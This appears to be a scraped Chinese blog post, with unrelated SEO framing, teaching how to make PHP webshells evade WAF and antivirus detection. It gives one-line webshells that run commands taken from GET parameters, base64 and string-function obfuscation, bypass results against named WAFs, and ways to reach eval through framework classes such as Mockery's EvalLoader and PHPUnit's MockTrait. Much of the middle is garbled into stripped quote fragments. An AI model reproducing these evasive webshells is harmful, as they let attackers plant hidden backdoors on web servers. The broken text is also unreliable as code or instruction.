其实webshell打包PHP网站源码分享的问题并不复杂,但是又很多的朋友都不太了解php网站源码下载,因此呢,今天小编就来为大家分享webshell打包PHP网站源码分享的一些知识,希望可以帮助到大家,下面我们一起来看看这个问题的分析吧!
严正申明:请遵守法律法规,文章旨在提高安全软件的应变策略,严禁非法使用,后果自负。
webshell免杀
字符串变形
1.简单字符串拼接
<?php\n$func=$_GET[&34;];\n$a=&34;;\n$s=&34;;\n$c=$a.$s.$_GET[&34;];\n$c($func);\n?>\n
免杀效果
某狗4.0
某盾
可以看到这里非常简单的混淆就能绕过安全狗
某塔最新收费waf
可以看到这简单的混淆是无法绕过宝塔的
但是如果我们不使用敏感函数作为参数的话
还是可以发现其实只是过滤参数里的内容,其实依旧比较好绕过,下下面的字符串处理中,我们会使用到函数来进行流量加密和代码加密
2.利用字符串函数
ucwords()//把每个单词的首字符转换为大写\nucfirst()//首字符转换为大写\ntrim()//移除字符串两侧的字符\nsubstr_replace()//函数把字符串的一部分替换为另一个字符串\nsubstr()//函数返回字符串的一部分\nstrtr()//函数转换字符串中特定的字符\nstrtoupper()//把所有字符转换为大写\nstrtolower()//把所有字符转换为小写\nstrtok()//函数把字符串分割为更小的字符串\nstr_rot13()//函数对字符串执行ROT13编码\nchr()//从指定ASCII值返回字符\nhex2bin()//把十六进制值转换为ASCII字符\nbin2hex()//ASCII字符的字符串转换为十六进制值\ngzcompress()、gzdeflate()、gzencode()//字符串压缩\ngzuncompress()、gzinflate()、gzdecode()//字符串解压\nbase64_encode()//base64编码\nbase64_decode()//nase64解码\npack()//数据装入一个二进制字符串\nunpack()//从二进制字符串对数据进行解包\n
在这里我们使用base64加参数加密
<?php\n$func=base64_decode($_GET[&34;]);\n34;a&34;s&34;func2&34;功夫不负有心人&34;abc&34;压缩后:&34;<br>解压后:&34;func&34;a&34;s&34;func2&34;phpinfo();&34;123.txt&34;zh-CN&34;utf-8&34;post&34;multipart/form-data&34;&34;file&34;filename&34;submit&34;H14&34;706870696e666f&34;a&34;s&34;func2&34;&34;&34;&34;&34;&39;demo&39;123456&39;AES-128-ECB&39;AES-128-ECB&34;加密后:&39;123456&39;AES-128-ECB&34;<br>解密后:&34;password&39;func&39;AES-128-ECB&34;a&34;s&34;func2&34;password&39;func&34;a&34;s&34;func2&34;a&34;s&34;sert&34;PHPSESSID&39;dmeo&34;PHPSESSID&34;a&34;s&34;sert&39;dmeo&34;a&34;s&34;sert&39;Demo&34;php&34;demo&34;a&34;s&34;sert&39;_GET&34;a&34;s&34;sert&39;Demo&34;&34;&34;a&34;s&34;sert&34;$f&34;a&34;b&34;.php&34;DEMO&34;ert&34;test.txt&34;func&34;a&34;s&34;func2&39;Site\\\\Website&39;name&39;getName&39;TITLE&39;getUrl&34;&34;&34;\\n&34;&34;/&34;&34;*&34;&34;a&34;s&34;sert&34;a&34;s&34;sert&34;a&34;s&34;sert&34;1&34;C:/Users/12107/Desktop/demo/&34;C:/Users/12107/Desktop/demo2/&34;2021-09-0817:01:20&34;AES&39;WWW_PATH&39;\\\\&39;/&39;/../&34;ThinkPHP/Common/functions.php&39;get.func&39;&39;&39;get.cmd&39;&39;&39;WWW_PATH&39;\\\\&39;/&39;/../&34;ThinkPHP/Common/functions.php&34;ThinkPHP/Library/Think/Hook.class.php&39;get.func&39;&39;&34;demo&34;test&39;get.cmd&39;&39;&39;&39;&39;Behavior&39;Behavior&39;run&39;WWW_PATH&39;\\\\&39;/&39;/../&34;ThinkPHP/Library/Vendor/Smarty/SmartyBC.class.php&34;&39;get.cmd&39;&39;&34;&39;&39;WWW_PATH&39;\\\\&39;/&39;/../&34;ThinkPHP/Common/functions.php&39;get.func&39;&39;&39;get.cmd&39;&39;&load
<?php\ndefine(&39;,str_replace(&39;,&39;,realpath(dirname(__FILE__).&39;)));\ninclude(WWW_PATH.&34;);\n\n$c=newMockery\\Generator\\MockConfiguration(array(),array(),array(),&39;);\n$b=newMockery\\Generator\\MockDefinition($c,&39;.$_GET[&39;]);\n$a=newMockery\\Loader\\EvalLoader();\n$a->load($b);\n
免杀效果
EvalLoader34;?>&generate
<?php\ndefine(&39;,str_replace(&39;,&39;,realpath(dirname(__FILE__).&39;)));\ninclude(WWW_PATH.&34;);\n$a=newPHPUnit\\Framework\\MockObject\\MockTrait($_GET[&39;],&39;);\n$a->generate();\n
免杀效果
MockTraitgenerate
<?php\ndefine(&39;,str_replace(&39;,&39;,realpath(dirname(__FILE__).&39;)));\ninclude(WWW_PATH.&34;);\n$a=newPHPUnit\\Framework\\MockObject\\MockTrait($_GET[&39;],&39;);\n$a->generate();\n
免杀效果
view39;WWW_PATH&39;\\\\&39;/&39;/../&34;/vendor/autoload.php&39;cmd&evaluateDynamicContent分析
publicfunctionevaluateDynamicContent($statements)\n{\nreturneval($statements);\n}\n
总结
通过文件包含框架文件,用框架内置的函数来替换一句话木马中的功能函数,达到绕过特征匹配,如果后期规则增强,可以通过搜索新的函数来间接调用函数,像反序列化利用链一样,当然,还有很多其他函数可以使用在这里就不多列举。
referhttps://tttang.com/archive/1740/
关于webshell打包PHP网站源码分享的内容到此结束,希望对大家有所帮助。